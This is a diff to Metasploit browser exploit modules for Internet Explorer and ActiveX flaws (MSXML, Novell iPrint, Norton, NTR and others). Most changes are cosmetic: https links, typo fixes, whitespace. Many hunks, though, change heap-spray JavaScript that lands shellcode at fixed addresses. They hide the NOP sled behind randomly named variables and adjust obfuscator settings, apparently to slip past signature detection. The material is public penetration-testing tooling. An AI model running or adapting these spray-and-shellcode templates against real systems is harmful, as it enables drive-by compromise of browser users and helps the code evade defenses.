index c471d9a666..6175b31bc6 100644
--- a/modules/exploits/windows/browser/ms13_069_caret.rb
+++ b/modules/exploits/windows/browser/ms13_069_caret.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -211,7 +211,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending exploit...")
     send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
   end
-
 end
 
 =begin
@@ -222,5 +221,5 @@ In mshtml!CCaret::UpdateScreenCaret function:
 .text:63620F88                 push    edx
 .text:63620F89                 push    eax
 .text:63620F8A                 call    dword ptr [ecx+2Ch]
-  
+
 =end
diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
index 1865698449..58eadf8626 100644
--- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
+++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
         handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child
         of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger
         "onpropertychange".  During "onpropertychange" event handling, a free of the CDisplayPointer
-        object can be forced by using an "Unslect" (other approaches also apply), but a reference
+        object can be forced by using an "Unselect" (other approaches also apply), but a reference
         of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after
         the CDoc::GetLineInfo call, because it is still trying to use that to update
         CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash
@@ -307,7 +307,6 @@ function kaiju() {
     @js_default_str     = Rex::Text.rand_text_alpha(6)
     super
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb
index 64009ca45e..3b2016b80f 100644
--- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb
+++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -183,7 +183,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_exploit_html(cli, exploit_template(cli, target_info))
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
index 310865586f..da8d4ea1b7 100644
--- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
+++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -199,5 +199,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return html_template, binding()
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb
index c09549f956..a1e652923e 100644
--- a/modules/exploits/windows/browser/ms14_012_textrange.rb
+++ b/modules/exploits/windows/browser/ms14_012_textrange.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -149,5 +149,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def on_request_exploit(cli, request, target_info)
     send_exploit_html(cli, exploit_html)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb
index aa0d007eb3..e70f6f620d 100644
--- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb
+++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/exploit/powershell'
 
 class MetasploitModule < Msf::Exploit::Remote
@@ -386,6 +385,5 @@ end function
       send_exploit_html(cli, get_html)
     end
   end
-
 end
 
diff --git a/modules/exploits/windows/browser/ms16_051_vbscript.rb b/modules/exploits/windows/browser/ms16_051_vbscript.rb
index a4cc7016cf..c4a278abc1 100644
--- a/modules/exploits/windows/browser/ms16_051_vbscript.rb
+++ b/modules/exploits/windows/browser/ms16_051_vbscript.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -475,6 +475,5 @@ class MetasploitModule < Msf::Exploit::Remote
         send_response(cli, exploit_html(request.uri))
       end
   end
-
 end
 
diff --git a/modules/exploits/windows/browser/msvidctl_mpeg2.rb b/modules/exploits/windows/browser/msvidctl_mpeg2.rb
index 1d98baff20..a30448df69 100644
--- a/modules/exploits/windows/browser/msvidctl_mpeg2.rb
+++ b/modules/exploits/windows/browser/msvidctl_mpeg2.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -238,5 +238,4 @@ var #{msvidctl}=document.createElement('object');
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/mswhale_checkforupdates.rb b/modules/exploits/windows/browser/mswhale_checkforupdates.rb
index adb653b740..e27a0ca5f4 100644
--- a/modules/exploits/windows/browser/mswhale_checkforupdates.rb
+++ b/modules/exploits/windows/browser/mswhale_checkforupdates.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
     content = %Q|<html>
 <body>
 <script><!--
@@ -112,5 +112,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
index 7f42a7fb6b..4634504823 100644
--- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
+++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -194,11 +194,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_easy_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -222,13 +224,17 @@ class MetasploitModule < Msf::Exploit::Remote
 
 
   def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
+    randnop2 = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
 
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
-    var nops_90 = unescape("#{js_90_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
+    var #{randnop2} = "#{js_90_nops}";
+    var nops_90 = unescape(#{randnop2});
     var rop_chain = unescape("#{js_rop}");
 
     while (nops.length < 0x80000) nops += nops;
@@ -286,7 +292,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
     var rop = unescape("#{js_rop}");
     var code = unescape("#{js_code}");
-    var nops_90 = unescape("#{js_90_nops}");
+    var #{randnop2} = "#{js_90_nops}";
+    var nops_90 = unescape(#{randnop2});
 
     while (nops_90.length < 0x80000) nops_90 += nops_90;
 
@@ -340,7 +347,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     object_id = rand_text_alpha(4)
@@ -375,7 +382,6 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
 =begin
@@ -396,7 +402,7 @@ cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
 msxml3!_dispatchImpl::InvokeHelper+0xb4:
 749bd772 ff5118          call    dword ptr [ecx+18h]  ds:0023:00000018=????????
 0:008> k
-ChildEBP RetAddr  
+ChildEBP RetAddr
 020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4
 020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e
 020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa
diff --git a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb
index e6d48b87b8..9eaefb7da3 100644
--- a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb
+++ b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,5 +108,4 @@ var #{strname} = new String('#{sploit}');
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/nis2004_antispam.rb b/modules/exploits/windows/browser/nis2004_antispam.rb
index fe50125486..c3179e1528 100644
--- a/modules/exploits/windows/browser/nis2004_antispam.rb
+++ b/modules/exploits/windows/browser/nis2004_antispam.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
     content = %Q|<html>
 <body>
 <script><!--
@@ -109,5 +109,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/nis2004_get.rb b/modules/exploits/windows/browser/nis2004_get.rb
index 10bfd980be..87c8d9aa20 100644
--- a/modules/exploits/windows/browser/nis2004_get.rb
+++ b/modules/exploits/windows/browser/nis2004_get.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX
         Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004.
-        By sending a overly long string to the "Get()" method, an attacker may be
+        By sending an overly long string to the "Get()" method, an attacker may be
         able to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb
index 06349664b4..9eb78c16fb 100644
--- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb
+++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,9 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "IBM Lotus Notes Client URL Handler Command Injection",
       'Description'    => %q{
-          This modules exploits a command injection vulnerability in the URL handler for
+          This module exploits a command injection vulnerability in the URL handler for
         for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
-        an specially crafted notes:// URL to execute arbitrary commands with also arbitrary
+        a specially crafted notes:// URL to execute arbitrary commands with also arbitrary
         arguments. This module has been tested successfully on Windows XP SP3 with IE8,
         Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
       },
@@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
-      js_click_link.obfuscate
+      js_click_link.obfuscate(memory_sensitive: true)
       js_click_link_fn = js_click_link.sym('clickLink')
     else
       js_click_link_fn = 'clickLink'
@@ -178,5 +178,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb
index e1307747e1..7b4a6677fd 100644
--- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb
+++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -112,6 +112,7 @@ class MetasploitModule < Msf::Exploit::Remote
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     case my_target
@@ -141,7 +142,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
       var heap_obj = new heapLib.ie(0x10000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_random_nops}");
+      var #{randnop} = "#{js_random_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset_length = #{my_target['Offset']};
       for (var i=0; i < 0x1000; i++) {
@@ -160,7 +162,8 @@ class MetasploitModule < Msf::Exploit::Remote
       js = %Q|
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -178,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -271,7 +274,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/novelliprint_callbackurl.rb b/modules/exploits/windows/browser/novelliprint_callbackurl.rb
index 2bb21ff884..cb5b13429f 100644
--- a/modules/exploits/windows/browser/novelliprint_callbackurl.rb
+++ b/modules/exploits/windows/browser/novelliprint_callbackurl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -24,8 +24,8 @@
 #  - CVE-2010-1527
 #  - OSVDB 67411
 #  - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research
-#  - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
-#  - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
+#  - https://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
+#  - https://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
 #  - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
 #
 # Trancer
@@ -110,11 +110,13 @@ class MetasploitModule < Msf::Exploit::Remote
     j_block      = rand_text_alpha(rand(100) + 1)
     j_memory     = rand_text_alpha(rand(100) + 1)
     j_counter    = rand_text_alpha(rand(30) + 2)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
     html = %Q|<html>
 <script>
 var #{j_shellcode} = unescape('#{shellcode}');
-var #{j_nops} = unescape('#{nops}');
+var #{randnop} = "#{nops}";
+var #{j_nops} = unescape(#{randnop});
 var #{j_headersize} = 20;
 var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
 while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
@@ -141,5 +143,4 @@ for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/novelliprint_datetime.rb b/modules/exploits/windows/browser/novelliprint_datetime.rb
index c532a45028..b4d7f4df81 100644
--- a/modules/exploits/windows/browser/novelliprint_datetime.rb
+++ b/modules/exploits/windows/browser/novelliprint_datetime.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -131,5 +130,4 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     ret
   end
-
 end
diff --git a/modules/exploits/windows/browser/novelliprint_executerequest.rb b/modules/exploits/windows/browser/novelliprint_executerequest.rb
index 78f7bba286..463856afcb 100644
--- a/modules/exploits/windows/browser/novelliprint_executerequest.rb
+++ b/modules/exploits/windows/browser/novelliprint_executerequest.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,13 +74,15 @@ class MetasploitModule < Msf::Exploit::Remote
     rand6  = rand_text_alpha(rand(100) + 1)
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     content = %Q|
       <html>
       <object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
       <script language="JavaScript">
       var #{rand1} = unescape('#{shellcode}');
-      var #{rand2} = unescape('#{nops}');
+      var #{randnop} = "#{nops}";
+      var #{rand2} = unescape(#{randnop});
       var #{rand3} = 20;
       var #{rand4} = #{rand3} + #{rand1}.length;
       while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -106,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb
index 12b097b39b..1f0b3be14d 100644
--- a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb
+++ b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -24,8 +24,8 @@
 #  - CVE-2010-3106
 #  - OSVDB 66960
 #  - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
-#  - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
-#  - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
+#  - https://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
+#  - https://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
 #  - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
 #
 # Trancer
@@ -109,15 +109,17 @@ class MetasploitModule < Msf::Exploit::Remote
     j_fillblock  = rand_text_alpha(rand(100) + 1)
     j_block      = rand_text_alpha(rand(100) + 1)
     j_memory     = rand_text_alpha(rand(100) + 1)
-    j_op	     = rand_text_alpha(rand(100) + 1)
-    j_dbg	     = rand_text_alpha(rand(100) + 1)
+    j_op	 = rand_text_alpha(rand(100) + 1)
+    j_dbg	 = rand_text_alpha(rand(100) + 1)
     j_counter    = rand_text_alpha(rand(30) + 2)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
     html = %Q|<html>
 <object classid='clsid:#{clsid}' id='#{ienipp}'></object>
 <script>
 var #{j_shellcode} = unescape('#{shellcode}');
-var #{j_nops} = unescape('#{nops}');
+var #{randnop} = "#{nops}";
+var #{j_nops} = unescape(#{randnop});
 var #{j_headersize} = 20;
 var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
 while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
@@ -147,5 +149,4 @@ for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb
index dc8852724c..e49adc5070 100644
--- a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb
+++ b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb
@@ -1,11 +1,10 @@
 # -*- coding: binary -*-
 
 ###
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -77,12 +76,14 @@ class MetasploitModule < Msf::Exploit::Remote
     rand6  = rand_text_alpha(rand(100) + 1)
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     content = %Q|<html>
 <object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
 <script language="JavaScript">
 var #{rand1} = unescape('#{shellcode}');
-var #{rand2} = unescape('#{nops}');
+var #{randnop} = "#{nops}";
+var #{rand2} = unescape(#{randnop});
 var #{rand3} = 20;
 var #{rand4} = #{rand3} + #{rand1}.length;
 while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -108,5 +109,4 @@ for (#{var_i} = 0; #{var_i} < 99024; #{var_i}++) { #{rand8} = #{rand8} + unescap
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb
index b357802bcc..497949efba 100644
--- a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb
+++ b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb
@@ -1,5 +1,5 @@
-###
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,12 +86,14 @@ class MetasploitModule < Msf::Exploit::Remote
     rand6  = rand_text_alpha(rand(100) + 1)
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     content = %Q|<html>
 <object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
 <script language="JavaScript">
 var #{rand1} = unescape('#{shellcode}');
-var #{rand2} = unescape('#{nops}');
+var #{randnop} = "#{nops}";
+var #{rand2} = unescape(#{randnop});
 var #{rand3} = 20;
 var #{rand4} = #{rand3} + #{rand1}.length;
 while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
diff --git a/modules/exploits/windows/browser/novelliprint_target_frame.rb b/modules/exploits/windows/browser/novelliprint_target_frame.rb
index 5bf295df51..f020d8a0a7 100644
--- a/modules/exploits/windows/browser/novelliprint_target_frame.rb
+++ b/modules/exploits/windows/browser/novelliprint_target_frame.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -135,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     ret
   end
-
 end
diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb
index d5f8cffd51..081405daa4 100644
--- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb
+++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -156,6 +156,7 @@ class MetasploitModule < Msf::Exploit::Remote
   # Exploit writing tutorial part 11 : Heap Spraying Demystified
   # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
   def get_random_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
 
@@ -183,7 +184,8 @@ class MetasploitModule < Msf::Exploit::Remote
     var heap_obj = new heapLib.ie(0x10000);
 
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -205,11 +207,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -301,7 +305,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     # The overflow occurs after strcat'ing controlled data to
diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb
index 6affbad40a..55a56558ba 100644
--- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb
+++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,11 +76,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -138,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     address = 0x0c0c0c0c / 0x134
diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb
index a36d3214f3..0f7b0c675f 100644
--- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb
+++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -131,11 +131,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_easy_spray(t, js_code, js_nops, js_counter)
+    randnop = rand_text_alpha(rand(100) + 1)
 
